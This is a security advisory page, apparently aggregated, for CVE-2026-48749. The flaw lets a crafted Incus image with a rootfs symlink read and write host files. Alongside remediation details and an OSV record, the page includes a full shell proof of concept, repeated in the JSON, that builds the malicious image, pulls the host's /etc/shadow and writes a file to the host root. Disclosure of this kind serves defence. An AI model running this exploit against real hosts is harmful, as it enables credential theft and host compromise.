CVE-2026-48749: Github.com/lxc/incus/v7/cmd/incusd Incus Has An Arbitrary File Vulnerability

CRITICAL
Advisory Identifier: GHSA-2q3f-q5pq-g8wv
CVSS 9.9
CWE-73
Published
Advisory Summary

CVE-2026-48749 is a CRITICAL (CVSS 9.9) incus has an arbitrary file vulnerability (CWE-73: External Control of File Name or Path) affecting Github.com/lxc/incus/v7/cmd/incusd libraries in the Go ecosystem. The issue involves incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image. Remediation is available by upgrading affected packages to version 7.2.0.

CVE-2026-48749 at a Glance

CVE Identifier CVE-2026-48749
GHSA Identifier GHSA-2q3f-q5pq-g8wv
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Github.com/lxc/incus/v7/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-48749

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v7/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v7/cmd/incusd fixed: 7.2.0
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48749, inspect your project dependencies for Github.com/lxc/incus/v7/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v7/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v7/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Github.com/lxc/incus/v7/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

CVE-2026-48749 Affected Github.com/lxc/incus/v7/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.2.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v7/cmd/incusd
Go
< 7.2.0
7.2.0

References

Frequently Asked Questions

What is CVE-2026-48749?
CVE-2026-48749 is a security vulnerability in Github.com/lxc/incus/v7/cmd/incusd involving Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image under CWE-73: External Control of File Name or Path.
Which Github.com/lxc/incus/v7/cmd/incusd versions are affected?
Affected versions include releases prior to 7.2.0 across affected packages: github.com/lxc/incus/v7/cmd/incusd.
What version fixes CVE-2026-48749?
Upgrading to 7.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v7/cmd/incusd affected?
Yes, github.com/lxc/incus/v7/cmd/incusd is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
What is the CVSS score of CVE-2026-48749?
CVE-2026-48749 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-48749?
CVE-2026-48749 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Go dependencies for CVE-2026-48749?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v7/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2q3f-q5pq-g8wv",
  "modified" : "2026-06-26T18:31:21Z",
  "published" : "2026-06-26T18:31:21Z",
  "aliases" : [ "CVE-2026-48749" ],
  "summary" : "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image",
  "details" : "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v7/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T18:31:21Z",
    "nvd_published_at" : null
  }
}